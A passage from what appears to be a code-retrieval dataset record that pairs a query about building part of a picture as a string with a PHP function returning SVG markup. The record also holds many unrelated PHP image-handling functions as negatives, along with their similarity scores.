$fotoH); \r\n\timagecopy($photoFrame, $logoImage, 0, 0, 0, 0, $logoW, $logoH); \r\n\timagejpeg($photoFrame, $slidetargetfile); \r\n\t\r\n\t\r\n $updateSQL = sprintf(\"UPDATE pictures SET IS_MAIN=%s WHERE PROPERTY_ID=%s\",\r\n\t\t\t\t\t\t GetSQLValueString(\"N\", \"text\"),\r\n\t\t\t\t\t\t\t\t GetSQLValueString($propRS['PROPERTY_ID'], \"int\"));\r\n $mainRS = mysql_query($updateSQL) or die(mysql_error());\r\n\t//echo $updateSQL;\r\n\t$insertSQL = sprintf(\"INSERT INTO pictures ( PICTURE_ID, PROPERTY_ID, IS_MAIN, TITLE, COMMENTS, THUMB_PIC_PATH, SLIDE_PIC_PATH, FULL_PIC_PATH, ORIGINAL_PIC_PATH) VALUES ( %s, %s, %s, %s, %s, %s, %s, %s, %s)\",\r\n\t\t\t GetSQLValueString($picture_ID, \"double\"),\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t GetSQLValueString($propRS['PROPERTY_ID'], \"int\"),\r\n\t\t\t GetSQLValueString('Y', \"text\"),\r\n\t\t\t GetSQLValueString(\"STC\", \"text\"),\r\n\t\t\t GetSQLValueString(\"\", \"text\"),\r\n\t\t\t GetSQLValueString($targetfile, \"text\"),\r\n\t\t\t GetSQLValueString($slidetargetfile, \"text\"),\r\n\t\t\t GetSQLValueString($slidetargetfile, \"text\"),\r\n\t\t\t GetSQLValueString($slidetargetfile, \"text\"));\r\n\t//echo $insertSQL;\r\n $picRS = mysql_query($insertSQL) or die(mysql_error());\r\n//echo \"STC added\";\r\n }",
"public function introTextImage(){\n if(isset($this->imageIntro)){\n return $this->imageIntro;\n }\n $this->fetchIntroImage();\n return $this->imageIntro;\n }",
"function makeProduct(string $name, string $img, float $price, string $buttonText): string\n {\n return \"<div><img src='./images/\" . $img . \"' alt='Should be an image here'/><br/><strong>\" . $name . \"</strong><br/><i>\" . round($price, 2) . \"</i><br/><button>\" . $buttonText . \"</button></div>\";\n }",
"function makeThumbnailName($image)\n{\n $i = strrpos($image, '.');\n $image_name = substr($image, 0, $i);\n $ext = substr($image, $i);\n $image = $image_name . '-tn' . $ext;\n return $image;\n}",
"function view_builder_logo_inside_project($img,$w,$h,$alt)\n{\n if(file_exists(\"../builder/\".$img) && $img!='')\n\n $temp= \"<img src=\\\"../include/phpThumb.php?src=../builder/\".$img.\"&w=$w&h=$h&iar=1\\\"; border='0' width=\\\"$w\\\" height=\\\"$h\\\" \n alt='$alt' class='floatL mar12R' />\";\n else\n $temp =\"<img src=\\\"../include/phpThumb.php?src=../builder/nophoto.jpg\\\"&w=$w&h=$h&iar=1\\\"; border='0' width=\\\"$w\\\" height=\\\"$h\\\" alt='$alt' class='floatL mar12R'/>\";\n \n\treturn $temp;}",
"function presentarImagenesPublicacion($idPP)\r\n {\r\n $id=$idPP;\r\n $directory=('upload/');\r\n $dirint = dir($directory);\r\n if ($idPP == null) {\r\n $id = $this->ultimoId();\r\n }\r\n\r\n while(($archivo = $dirint->read()) !== false)\r\n {\r\n $str = $archivo;\r\n $caracteres = preg_split('/_/', $str, -1, PREG_SPLIT_NO_EMPTY);\r\n // var_dump($caracteres);\r\n // $items = (string)$id;\r\n // var_dump($items);\r\n if ($caracteres['0'] === $id){\r\n $imagen = $id.'_'.$caracteres['1'];\r\n // var_dump($imagen);\r\n echo '<div class=\"col-md-6\" style=\"width:20%;\"><img src=\"/inmobiitla/upload/'.$imagen.'\" class=\"img-responsive img-thumbnail\" /></div>'.\"\\n\";\r\n }\r\n }\r\n $dirint->close();\r\n }",
"function create($filename=\"\")\n{\nif ($filename) {\n $this->src_image_name = trim($filename);\n}\n$dirname=explode(\"/\",$this->src_image_name);\nif(!file_exists(\"$dirname[0]/$dirname[1]/$dirname[2]/$dirname[3]/\")){\n\t@mkdir(\"$dirname[0]/$dirname[1]/$dirname[2]/$dirname[3]/\", 0755);\n}\nif(stristr(PHP_OS,\"WIN\")){\n\t$this->src_image_name = @iconv(\"utf-8\",\"GBK\",$this->src_image_name);\n\t$this->met_image_name = @iconv(\"utf-8\",\"GBK\",$this->met_image_name);\n}\n$src_image_type = $this->get_type($this->src_image_name);\n$src_image = $this->createImage($src_image_type,$this->src_image_name);\nif (!$src_image) return;\n$src_image_w=ImageSX($src_image);\n$src_image_h=ImageSY($src_image);\n\n\nif ($this->met_image_name){\n $this->met_image_name = strtolower(trim($this->met_image_name));\n $met_image_type = $this->get_type($this->met_image_name);\n $met_image = $this->createImage($met_image_type,$this->met_image_name);\n $met_image_w=ImageSX($met_image);\n $met_image_h=ImageSY($met_image);\n $temp_met_image = $this->getPos($src_image_w,$src_image_h,$this->met_image_pos,$met_image);\n $met_image_x = $temp_met_image[\"dest_x\"];\n $met_image_y = $temp_met_image[\"dest_y\"];\n\t if($this->get_type($this->met_image_name)=='png'){imagecopy($src_image,$met_image,$met_image_x,$met_image_y,0,0,$met_image_w,$met_image_h);}\n\t else{imagecopymerge($src_image,$met_image,$met_image_x,$met_image_y,0,0,$met_image_w,$met_image_h,$this->met_image_transition);}\n}\nif ($this->met_text){\n $temp_met_text = $this->getPos($src_image_w,$src_image_h,$this->met_text_pos);\n $met_text_x = $temp_met_text[\"dest_x\"];\n $met_text_y = $temp_met_text[\"dest_y\"];\n if(preg_match(\"/([a-f0-9][a-f0-9])([a-f0-9][a-f0-9])([a-f0-9][a-f0-9])/i\", $this->met_text_color, $color))\n {\n $red = hexdec($color[1]);\n $green = hexdec($color[2]);\n $blue = hexdec($color[3]);\n $met_text_color = imagecolorallocate($src_image, $red,$green,$blue);\n }else{\n $met_text_color = imagecolorallocate($src_image, 255,255,255);\n }\n imagettftext($src_image, $this->met_text_size, $this->met_text_angle, $met_text_x, $met_text_y, $met_text_color,$this->met_text_font, $this->met_text);\n}\nif(stristr(PHP_OS,\"WIN\")){\n\t$save_files=explode('/',$this->save_file);\n\t$save_files[count($save_files)-1]=@iconv(\"utf-8\",\"GBK\",$save_files[count($save_files)-1]);\n\t$this->save_file=implode('/',$save_files);\n}\nif ($this->save_file)\n{\n switch ($this->get_type($this->save_file)){\n case 'gif':$src_img=ImagePNG($src_image, $this->save_file); break;\n case 'jpeg':$src_img=ImageJPEG($src_image, $this->save_file, $this->jpeg_quality); break;\n case 'png':$src_img=ImagePNG($src_image, $this->save_file); break;\n default:$src_img=ImageJPEG($src_image, $this->save_file, $this->jpeg_quality); break;\n }\n}\nelse\n{\nif ($src_image_type = \"jpg\") $src_image_type=\"jpeg\";\n header(\"Content-type: image/{$src_image_type}\");\n switch ($src_image_type){\n case 'gif':$src_img=ImagePNG($src_image); break;\n case 'jpg':$src_img=ImageJPEG($src_image, \"\", $this->jpeg_quality);break;\n case 'png':$src_img=ImagePNG($src_image);break;\n default:$src_img=ImageJPEG($src_image, \"\", $this->jpeg_quality);break;\n }\n}\nimagedestroy($src_image);\n}",
"protected function generateGraphic() {}",
"function createCard($poza, $titlu, $descriere){\r\n $card = '<div class=\"card\">\r\n <a class=\"card-link\" href=\"#\">\r\n <img class=\"card-img-top\" src=\"'.$poza.'\" />\r\n <div class=\"card-body text-center\">\r\n <h3 class=\"card-title\">'.$titlu.'</h3>\r\n <p class=\"card-text\">'.$descriere.'</p>\r\n </div>\r\n </a>\r\n </div>';\r\n echo $card;\r\n }",
"private function generate()\n {\n $output = '';\n $length = strlen($this->str);\n\n\n for ($i = 1; $i < 5; $i++) {\n // get random char\n $char = $this->str[rand(0, $length - 1)];\n $output .= $char;\n\n // get font size\n $fontSize = ($this->level > 1) ? rand(20, 48) : 28;\n imagettftext($this->imageResource, $fontSize, rand(-35, 35), 35 * $i, 55, imagecolorallocate($this->imageResource, rand(0, 240), rand(0, 240), rand(0, 240)), $this->font, $char);\n }\n\n $this->code = ($this->caseSensitive) ? $output : strtolower($output);\n }",
"public function GetImage($type=NULL){\r\n\t\t$GTemp=$this->GTemp;\r\n\t\tif ($type!=NULL){\r\n\t\t\t$hndl=imagecreatefromjpeg(GTemplate::GetPath($GTemp->id).DS.$type.\".jpg\");\r\n\t\t\t$width=$this->width;\r\n\t\t\t$height=$this->height;\r\n\t\t\t$hndl_dest=imagecreatetruecolor($width,$height);\r\n\t\t\timagecopy($hndl_dest,$hndl,0,0,$this->x1,$this->y1,$this->width,$this->height);\r\n\t\t\treturn $hndl_dest;\r\n\t\t}\r\n\t\t$types=$this->WidgetClass()->Types();\r\n\t\t$hndl=imagecreatefromjpeg(GTemplate::GetPath($GTemp->id).DS.$types[0].\".jpg\");\r\n\t\t$width=(sizeof($types))*($this->width);\r\n\t\t$height=$this->height;\r\n\t\t$hndl_dest=imagecreatetruecolor($width,$height);\r\n\t\timagecopy($hndl_dest,$hndl,0,0,$this->x1,$this->y1,$this->width,$this->height);\r\n\t\t$counter=0;\r\n\t\tif ($types!=''){\r\n\t\t\tforeach ($types as $index => $val){\r\n\t\t\t\tif ($index==0) continue;\r\n\t\t\t\t$counter++;\r\n\t\t\t\timagedestroy($hndl);\r\n\t\t\t\t$hndl=imagecreatefromjpeg(GTemplate::GetPath($GTemp->id).DS.$val.\".jpg\");\r\n\t\t\t\timagecopymerge($hndl_dest,$hndl,($counter)*$this->width,0,\r\n\t\t\t\t\t$this->x1,$this->y1,$this->width,$this->height,100);\r\n\t\t\t}\r\n\t\t}\r\n\t\treturn $hndl_dest;\r\n\t}",
"function get_profile_pic($img)\n{\n\tdefine('UPLOAD_DIR', 'ProfilePics/');\n\t$img \t= str_replace('data:image/png;base64,', '', $img);\n\t$img \t= str_replace(' ', '+', $img);\n\t$data \t= base64_decode($img);\n $file \t= UPLOAD_DIR . uniqid() . '.jpg';\n $success = file_put_contents($file, $data);\n \n\treturn $success ? $file : 'some problem occured';\n}",
"public function getImage() {}",
"function getImg() {\n\n global $f3;\n global $tvdb;\n\n $series = $f3->get('PARAMS.param1');\n $episode_index = $f3->get('PARAMS.param2');\n $data = $tvdb->getSeries($series);\n\n if ($episode_index) {\n\t\t//if requesting episode image\n $chunks = explode(\",\", $episode_index);\n \t\t$season = $chunks[0]; //\techo \"Season \" . $season;\n \t\t$ep = $chunks[1]; //\t\techo \"Ep\" . $ep;\n \t\t$episode = $tvdb->getEpisode($data[0]->id, $season, $ep, 'en');\n\t\t echo $episode->thumbnail;\n } \n else {\n\t\t//if requesting show images\n $banner = $tvdb->getBanners($data[0]->id);\n $banner_j = json_encode($banner);\n echo $banner_j;\n }\n}",
"public function getScreenshot(): string\n {\n return $this->screenshot;\n }",
"private function _xyz()\n {\n $logo = 'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAGQAAAAcCAYAAACXkxr4AAAACXBIWXMAA'\n . 'AsTAAALEwEAmpwYAAAKC0lEQVRoge2ZeVDU5xnHPz/AXdmDGwUEXDAsMxaRywOJEkINxmGp1cYDZ+o0'\n . 'bTTtZDqTQDrpTOu09srkciYzMSpNtO2ITZxpMrD5IyIB2yikchjU6C5JRMBFZFniHuAu6779Y7MbEZZ'\n . 'L2z9Svv/sb/d9rt/7fZ7nPRbmMIc5zGEOc5gdpAdl6Pr1AdFjsnChy4piPkjz5azJTCVGCbbbHpShcs'\n . 'KU8gfm79uK+56g5nMGceSdMxh6bSiUoQTHqlAp5KgUMuShC0ldqGTN4hAUYSrSNbHI5bI5UibBrCenw'\n . '3BdvFH1IYZeG/FLE4mOTiIsIpyQ+aFj5BRqFSqVgoj+VjKXashMXzTO5969e4Xved++fdJEYxP9vm/f'\n . 'Punez6lsTsfXTHRm8h4TxXkvQgINTIYDR06JF176gNScLH6wOZOISDkAXw05sduHx8iqVApSUuWYrsv'\n . 'ovXodt9stQkJCxgXkC/LugAM9TxeB5CezORud2cgFwowIsTqcYv/bjbQPjlBe+RQajcDeNYCltx9PsJ'\n . 'poZRiolNzsuwl4q8OHpIxkWt+rY+OGlRMGGagS7geBJmUyX7OdyKlsT6c6YAaEWB1OUfH7fxCfV8Cuj'\n . 'YlcqmvlxKFmFiyIILNwBXnp0VzpsZDiNvN5pIzmywNAHADh4TJkIfO5efOrgPYfJBFT2ZxNhczU53+9'\n . 'Qva/3ciSohLWLglC/7u3ACjZsJLioizmzQvBPjKKLTSOUNs1tq9L4otLRgZugEL9kN+G0+maUXC+rPI'\n . '9TzQ2WebNpuomW7OmY+t+K31aSlUnzonB8CV8RznAqRN1pKTG85MnS1AqlUiSJAkhxLGGLhZFSoS6na'\n . 'zK01Ktb+HvZzopeHQDD6+NYPRKN+//Rc/+135GUFDQ3E4rAKaskOZzBtE4FEuy1MvZDz5hx871rMrTA'\n . 'iBJkgTQ2TNIrzscW2sz2cuXALAkLow7A3YAomVwtf8mCoV8jowpEDTZoNXhFDVGyEoa5ULDJ+zYtZGV'\n . 'uWkIIfxkCCHEe6eukJU0iuWmhezMFCRJkgZcMOwY8W55b49iNPawMC4Kt9stJvP5/45JK0R/1sDqXC1'\n . 'XP/6IteuWs0ybAHxTGV4ZI47wZMxXPkepCkUmm4fb7RZVR0+i1sSSkioHXDQ1X+bZZ5/At+U1dpvFsf'\n . 'qLmAZtFC1fTPn6zDGVU13XIWwjLmwjTgw9FtKToqjcViA1tHeJ2jMGbLdd5GnjaTH2oZ4vQ1eQTlG2R'\n . 'qo9YxA1TUYAEqLVmAZt5Gnj/d9tw04aPr0GQFWlboxP3QvVovbFcv9vh2pahP6s15bJYqMwU8PTZblo'\n . 'k2MkgD6zVRysbcM0aMM+7EKbFM3O4gz/uLHbLA7WtHK6o4uEKDXWESflxcvYU5YXsEsErBCrwymGPBE'\n . 'ssF2jYO1yHvtuDi7XKC7XqF9GCCFq9G2sKkji0rnP0GqTAAgODqbxozYWJz1EaqzgvXf/RdyCCLIzU/'\n . 'y62uQYqWJrPsYeM8frL47zX9vUSVGWhsptBdINsw1DjwWAomyNlJ4cTZvRxG5dLlWVOqkoW0Plmx/SZ'\n . '7YKH8FVlTopIVpFm9HEnrI8aU9ZnqQrSJd8xLcZTeN8miw2//OhmhZxWN9K6RottS+WS8d/tYU+i52K'\n . 'Ayf9Mj4yqip10vG9W6Q8bTwN57v84xUHTtJnsXOkopTaF8ulPaW5HNa3cqimJWCXCEhIq7GPJcneA19'\n . 'YRDivv2/gzl3iQgjx5tF65IlLiHDcYmjIxrqHlyKE4ILRRL9HzepHVxBxe5TTdc2UbFg57tokTCmXdG'\n . 'u0mCw2jN1mf5B9ZquwDzv9mRYXo54wRl+l6grSJW1iDMfqL1C2Rjuu2u6Fr2Img/6skRxtgj+btckx0'\n . 'i+3rcZksdHQ3iUA9E2GMTqFWRrK1njX14b2LmGy2Nity/V3lvL1mVJhpobG89cC+g1IyA2XGs81r2Jy'\n . 'rIK48Dv84s9tXOu34vF4hG3Yhf7jL3msOJNP/9lCUtIC366LN6o+JGNtPrlawTtv6UnVLKS4KGtCP2X'\n . '56QDU3PVyDe1dFGYvnmrO/CRaHU5hGrSSEKUmPibsgWwaTBbbOOJ81z7GHjMApfnptBlNVNd1CPAmmM'\n . '+/TyZXGz+mxacnR2PsNQf0OyEhHo9HKMOVAL5Fmk3rlhLrGeL12i95+ehZ9r/dSGpOFmlpMjr+3UHx+'\n . 'hUAfNJipGfIzeNbVnCrrZOm5st87/vrAl4qapNjpIQoNafbv8ma2qZOdhYvm3TCAI7VX6S6rkNUvHmS'\n . '3LQEStekT6nzIFGxNZ/CTA2vnmhC90K16DBcH9eKZnrDPSEh/RY70fNuExUdTnBwEEIIFPIQadfWAgY'\n . 'He+gZkTEQFMnjW1Zg6bISGalmVZ4Wh8PBvoOn2fjjH5KjdrF//wk26fJZvSJ90qAKsxf721af2SqAaW'\n . 'd6i6GPNqOJ57fn/8+v98OUcum1Z0qkV35agnXEyY9e1furZbaYkBDnnSDUbgeKMBUhISGS7+yQHKugN'\n . 'DsZ50g/iWneBftqxyV27NoIwLN/qCVv4waKV8n4beUbZGZo2Lx57ZRB+NrWsfqLNLR3octPm1bwFVvz'\n . 'eX57PuBdYB80bCPOackVZWuk2j+WkxCl5pC+dcyYL8GmiwkJkavmEa2SERutxuPx+A0GBQVJO3UrJPV'\n . '82Rj5ZdoEXjpyhtiMHHZsSuRgxQEiI9U8ubuMefOmvp3RJsdI2sQYGs9f9e6usjXTCt7Xs3cUZ6BvMs'\n . 'z45a0Op5joGUCbGEOr4cYYeV9L0ibFTBhL6dcL+t0yLYa+MXKG7kG0ieP1fZiQkKgQifDwUOJjwqR7T'\n . '9Yej0c8XZZLb+fndHa6WJmbzoGTPYjEpWwqieOvv36LBQsi+Plz2ybUDwRdfhr2ERcqhWzGC/Pu0jxU'\n . 'oTL2Hj09pazH4xH56d7F+rC+BavDKawOpzisbyHn690QQHlxBsZeM7VnDAK8ZPzpnWa0iTEUZWskq8M'\n . 'pnnqlVlTXdYg+s1X0ma2i8fw1dF+TUpStkbSJMVTXX/T7OFTTIlo7TZQXZwSMb9Y9t7quQ0hhi1CGKw'\n . 'mOkBM8dJPTf6thYVwUT2xZx6JFsTOy3We2iucO1LFbl0tRtmaMrrHbLGqaDFRuK5DAm82/OdLIa8+U+'\n . 'OWq6zpEbVMnx/duke7We/ndpnEHwLvlTYNW7CMuCjM1PL89f0wy1J4xiOr6i9iHnVhHnDySlcLTuhy/'\n . 'TEN7lzhc24qx14wqVMYjWSlUbP1mLbM6nOLVd5toM3jPPCqFHF1+2qTb8hkT4vF4RPfAMB9fGoB4Ddp'\n . 'YK2erT9F/w0LmslQ2b1479zftfWDSiRt2ukV7r93/3eZy8kW3E5ukYmmyAuvlVi6d+2zWVTGH8Zh0Aj'\n . '0ejxgddWM232LQ7v0vY9hqxzJ4i1tD3muG3ILl/hP1HObwrcN/AF5zmzGLB8I2AAAAAElFTkSuQmCC';\n\n return $logo;\n }"
]
| [
"0.6327719",
"0.61504364",
"0.5966978",
"0.592035",
"0.5894136",
"0.58905846",
"0.58905095",
"0.58660185",
"0.58589685",
"0.5815412",
"0.5815412",
"0.568197",
"0.56429374",
"0.5642076",
"0.5636648",
"0.5612656",
"0.5610577",
"0.55847204",
"0.5543659",
"0.55381626",
"0.55223584",
"0.5520448",
"0.55185676",
"0.55169374",
"0.5512488",
"0.55111885",
"0.5504361",
"0.55014074",
"0.5461598",
"0.54604113",
"0.54548",
"0.54512507",
"0.54430073",
"0.54279625",
"0.5426158",
"0.5424188",
"0.54210424",
"0.5420837",
"0.54118663",
"0.5407822",
"0.5400943",
"0.5400085",
"0.53994864",
"0.5390101",
"0.53885055",
"0.5380756",
"0.53795666",
"0.5357509",
"0.535347",
"0.53463495",
"0.534452",
"0.5335751",
"0.53267896",
"0.53225297",
"0.53184557",
"0.5317584",
"0.53068614",
"0.5305275",
"0.5299231",
"0.5297849",
"0.5286648",
"0.5283777",
"0.52816486",
"0.52689165",
"0.52533257",
"0.5252535",
"0.525245",
"0.5243851",
"0.52421355",
"0.52178895",
"0.5211975",
"0.5205582",
"0.5205582",
"0.5205582",
"0.5205582",
"0.52049935",
"0.52041787",
"0.5200332",
"0.51989436",
"0.5193794",
"0.5193508",
"0.51904356",
"0.518876",
"0.51860785",
"0.51824254",
"0.51786315",
"0.5176635",
"0.5174314",
"0.5166654",
"0.51529336",
"0.5152482",
"0.51472056",
"0.51404566",
"0.51389146",
"0.51346385",
"0.5129812",
"0.51251066",
"0.51221186",
"0.51190364",
"0.51184416",
"0.5114181"
]
| 0.0 | -1 |
end function GetHuvud Create a part of the picture and return as string | public function GetKroppen() {
$html = <<<EOD
<!-- HÄR KOMMER KROPPEN -->
<g id="kroppen">
<ellipse fill="none" stroke="#000000" stroke-miterlimit="10" cx="200.839" cy="97.527" rx="15.149" ry="24.238"/>
</g>
EOD;
return $html;
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function DrawPicture() { \r\n\r\n $hogerarm = $this->GetHogerArm();\r\n $vansterarm = $this->GetVansterArm();\r\n $vansterben = $this->GetVansterBen();\r\n $hogerben = $this->GetHogerBen();\r\n $kroppen = $this->GetKroppen();\r\n $huvud = $this->GetHuvud();\r\n $repet = $this->GetRepet();\r\n $stolpen = $this->GetStolpen();\r\n $kullen = $this->GetKullen();\r\n $header = $this->GetSvgHeader();\r\n\r\n $html = <<<EOD\r\n {$header}\r\n {$kullen}\r\n {$stolpen}\r\n {$kroppen} \r\n {$hogerarm} \r\n {$vansterarm} \r\n {$vansterben} \r\n {$hogerben}\t\r\n {$repet} \t\t\r\n {$huvud}\r\n </svg>\r\nEOD;\r\n\r\n return $html;\r\n }",
"function image_hwstring($width, $height)\n {\n }",
"public function getWebPicture();",
"private function generateThumbnailGD(){\n\t\t\n\t}",
"function make_vImage($element){\n\t\t$dir=base_url().$element->getFile();\n\t\tif(substr($element->getFile(),0,7)=='http://'){\n\t\t\t$dir=$element->getFile();\n\t\t\t$width=$element->getWidth();\n\t\t\t$height=$element->getHeight();\n\t\t}\n\t\t// Si están definidos ancho y alto, usamos esos\n\t\telse if($element->getWidth() or $element->getHeight()){\n\t\t\t$width=$element->getWidth();\n\t\t\t$height=$element->getHeight();\n\t\t}\n\t\t// Si no, miramos el tamaño de la imagen\n\t\telse list($width,$height)=getimagesize($element->getFile());\n\t\t\n\t\treturn '<img'.$this->setStyle($element).($width?' width=\"'.$width.'\"':'').($height?' height=\"'.$height.'\"':'').' alt=\"'.$element->getAltText().'\" src=\"'.\n\t\t\t$dir.'\" />\n\t\t';\n\t}",
"public function GetHuvud() {\r\n\r\n $html = <<<EOD\r\n <!-- HÄR KOMMER HUVUDET --> \r\n <g id=\"huvud\">\r\n <ellipse fill=\"none\" stroke=\"#000000\" stroke-miterlimit=\"10\" cx=\"201.107\" cy=\"59.149\" rx=\"11.376\" ry=\"14.14\"/>\r\n <ellipse fill=\"none\" stroke=\"#000000\" stroke-miterlimit=\"10\" cx=\"196.243\" cy=\"53.595\" rx=\"2.024\" ry=\"2.413\"/>\r\n <ellipse fill=\"none\" stroke=\"#000000\" stroke-miterlimit=\"10\" cx=\"204.322\" cy=\"53.595\" rx=\"2.024\" ry=\"2.413\"/>\r\n <path fill=\"none\" stroke=\"#000000\" stroke-miterlimit=\"10\" d=\"M194.896,65.322c0-1.737,2.206-3.143,4.934-3.143\"/>\r\n <path fill=\"none\" stroke=\"#000000\" stroke-miterlimit=\"10\" d=\"M203.869,65.322c0-1.737-2.206-3.143-4.934-3.143\"/>\r\n <ellipse fill=\"none\" stroke=\"#000000\" stroke-miterlimit=\"10\" cx=\"199.872\" cy=\"57.654\" rx=\"1.614\" ry=\"1.085\"/>\r\n </g>\r\nEOD;\r\n return $html;\r\n }",
"public function gen_thumbnail()\n {\n }",
"public function gen_thumbnail()\n {\n }",
"function display_graphic($piece)\n{\n}",
"public function getOpengraphImage();",
"public function createImage3(){\n $this->triangleCreate(240, 100, 290, 50, 340, 100);\n $this->triangleCreate(40, 300, 90, 250, 140, 300);\n $this->triangleCreate(440, 300, 490, 250, 540, 300);\n $this->createLine(265, 100, 105, 265);\n $this->createLine(315, 100, 475, 265);\n $this->createLine(125, 285, 455, 285);\n $this->generateImage();\n }",
"private function generateThumbnailCmd(){\n\t}",
"public function getAbsolutePicture();",
"private function generateThumbnailImagick(){\n\t}",
"public function build(): string\n {\n $this->verifyBom($this->encoding, $this->description);\n $this->_handleDefaultValues();\n\n $frame = $this->encoding->getCode();\n $frame .= $this->mimeType;\n $frame .= \"\\x00\";\n $frame .= $this->pictureType;\n $frame .= $this->description;\n $frame .= $this->encoding->getDelimiter();\n $frame .= $this->pictureData;\n\n return $frame;\n }",
"function mk_cThumb($cID, $str=''){\n\t$sqlTT = \"SELECT Codename, Overview, Waiver, Team FROM ma_Characters WHERE CharID = $cID;\"; #ToolTip\n\t$cName = $cOverview = $cWaiver = $cTeam = '';#initialize\n\t$resultTT = mysqli_query(IDB::conn(),$sqlTT) or die(trigger_error(mysqli_error(IDB::conn()), E_USER_ERROR));\n\t$dbTT = pdo(); # pdo() creates and returns a PDO object\n\n\t#$result stores data object in memory\n\ttry {$resultTT = $dbTT->query($sqlTT);} catch(PDOException $ex) {trigger_error($ex->getMessage(), E_USER_ERROR);}\n\n\tif($resultTT->rowCount() > 0)\n\t{#there are records - present data\n\t\t#set values needed for tool tip\n\t\twhile($rowTT = $resultTT->fetch(PDO::FETCH_ASSOC))\n\t\t{# pull data from associative array\n\t\t\t$cOverview = $rowTT['Overview'];\n\t\t\t$cWaiver = $rowTT['Waiver'];\n\t\t\t$cTeam = $rowTT['Team'];\n\t\t\t$cName = $rowTT['Codename'];\n\t\t}\n\t}\n\tunset($resultTT, $dbTT); #free resources\n\n\t#verify Image or use FPO\n\t#create Image Path\n\t$filename = './../uploads/_assigned/' . $cID . '-1t.jpg';\n\t#Verify image exists, show\n\tif (file_exists($filename)) {\n\t\t$filename = VIRTUAL_PATH . 'uploads/_assigned/' . $cID . '-1t.jpg';\n\t}else{\n\t\t#no image, use fpo static\n\t\t$filename = VIRTUAL_PATH . '_img/_static/static---00' . rand(0, 8). '.gif';\n\t}\n\n/*\n\n\nhttp://localhost/WrDKv4/_img/_static/static---005.gif\n\n\n\n*/\n\n\n\n\n\n\t#construct the polyThumb\n\t$str .= '<div class=\"text=center\">\n\t\t\t<a href=\"' . VIRTUAL_PATH . 'characters/profile.php?id=' . $cID . '&act=show\"\n\t\t\t\ttarget=\"_blank\" data-toggle=\"tooltip\" data-placement=\"right\" title=\"\" data-container=\"body\" class=\"tooltiplink\" data-html=\"true\"\n\t\t\t\tdata-original-title=\"' . $cName . ' >> ' . $cOverview . '\"\n\t\t\t\t>\n\t\t\t\t<img src=\"' . $filename . '\" alt=\"' . $cName . '\" style=\"width:50px\">\n\t\t\t</a>\n\t\t</div>';\n\n\treturn $str;\n\n}",
"function mk_PolyThumb($cID, $str=''){\n\t#get character info for tooltip from ma_Characters\n\t$sqlTT = \"SELECT Codename, Overview, Waiver, Team FROM ma_Characters WHERE CharID = $cID;\"; #ToolTip\n\n\t$codeName = $overview = $waiver = $team = '';#initialize\n\n\n\t$resultTT = mysqli_query(IDB::conn(),$sqlTT) or die(trigger_error(mysqli_error(IDB::conn()), E_USER_ERROR));\n\n\t$dbTT = pdo(); # pdo() creates and returns a PDO object\n\n\t#$result stores data object in memory\n\ttry {$resultTT = $dbTT->query($sqlTT);} catch(PDOException $ex) {trigger_error($ex->getMessage(), E_USER_ERROR);}\n\n\tif($resultTT->rowCount() > 0)\n\t{#there are records - present data\n\t\t#set values needed for tool tip\n\t\twhile($rowTT = $resultTT->fetch(PDO::FETCH_ASSOC))\n\t\t{# pull data from associative array\n\t\t\t$overview = $rowTT['Overview'];\n\t\t\t$waiver = $rowTT['Waiver'];\n\t\t\t$team = $rowTT['Team'];\n\t\t\t$codeName = $rowTT['Codename'];\n\t\t}\n\t}\n\tunset($resultTT, $dbTT); #free resources\n\n\t#verify Image or use FPO\n\t#create Image Path\n\t$filename = '../uploads/'. $cID . '-1t.jpg';\n\t#Verify image exists, show\n\tif (file_exists($filename)) {\n\t\t$filename = $filename;\n\t}else{\n\t\t#no image, use fpo static\n\t\t$filename = '../_img/_static/static---00' . rand(0, 8). '.gif';\n\t}\n\n\n\t#construct the polyThumb\n\t$str .= '\n\t\t<div><a href=\"' . VIRTUAL_PATH . 'characters/profile.php?id=' . $cID . '&act=show\"\n\t\t\ttarget=\"_blank\" data-toggle=\"tooltip\" data-placement=\"right\" title=\"\" data-container=\"body\" class=\"tooltiplink\" data-html=\"true\"\n\t\t\tdata-original-title=\"' . $codeName . ' >> ' . $overview .'\"\n\t\t\t>\n\n\t\t\t\t<!--- for polygons -->\n\t\t\t\t<svg class=\"clip-svg\">\n\t\t\t\t\t<defs>\n\t\t\t\t\t\t<clipPath id=\"polygon-clip-hexagon\" clipPathUnits=\"objectBoundingBox\">\n\t\t\t\t\t\t\t<polygon points=\"0.5 0, 1 0.25, 1 0.75, 0.5 1, 0 0.75, 0 0.25\"></polygon>\n\t\t\t\t\t\t</clipPath>\n\t\t\t\t\t</defs>\n\t\t\t\t</svg>\n\n\t\t\t\t<div class=\"polygon-each-img-wrap\">\n\t\t\t\t\t<img src=\"' . $filename . '\" alt=\"demo-clip-heptagon\" class=\"polygon-clip-hexagon\">\n\t\t\t\t</div>\n\t\t</a></div>\n\n\t\t<div>\n\t\t\t<p class=\"text-center\"><small><strong>' . $codeName . '</strong></small></p>\n\t\t</div>';\n\n\treturn $str;\n\n}",
"private function get_title_img()\n {\n $this->char_count = count($this->strings);\n $this->init_img();\n $font_size = L_FONT_SIZE / $this->char_count;\n $img_y = (L_IMG_HEIGHT + $font_size) / 2;\n $this->create_img($this->string,$font_size,$img_y);\n }",
"function getimage_addvertise($img,$w,$h)\n{\nif(file_exists(\"banner/\".$img) && $img!='')\n\n $temp=\"include/phpThumb.php?src=../banner/\".$img.\"&w=$w&h=$h&iar=1\";\n \n\treturn $temp;\t\t\t\n}",
"function create($filename=\"\")\n{\nif ($filename) {\n $this->src_image_name = trim($filename);\n}\n$dirname=explode(\"/\",$this->src_image_name);\nif(!file_exists(\"$dirname[0]/$dirname[1]/$dirname[2]/$dirname[3]/\")){\n\t@mkdir(\"$dirname[0]/$dirname[1]/$dirname[2]/$dirname[3]/\", 0755);\n}\nif(stristr(PHP_OS,\"WIN\")){\n\t$this->src_image_name = @iconv(\"utf-8\",\"GBK\",$this->src_image_name);\n\t$this->met_image_name = @iconv(\"utf-8\",\"GBK\",$this->met_image_name);\n}\n$src_image_type = $this->get_type($this->src_image_name);\n$src_image = $this->createImage($src_image_type,$this->src_image_name);\nif (!$src_image) return;\n$src_image_w=ImageSX($src_image);\n$src_image_h=ImageSY($src_image);\n\n\nif ($this->met_image_name){\n $this->met_image_name = strtolower(trim($this->met_image_name));\n 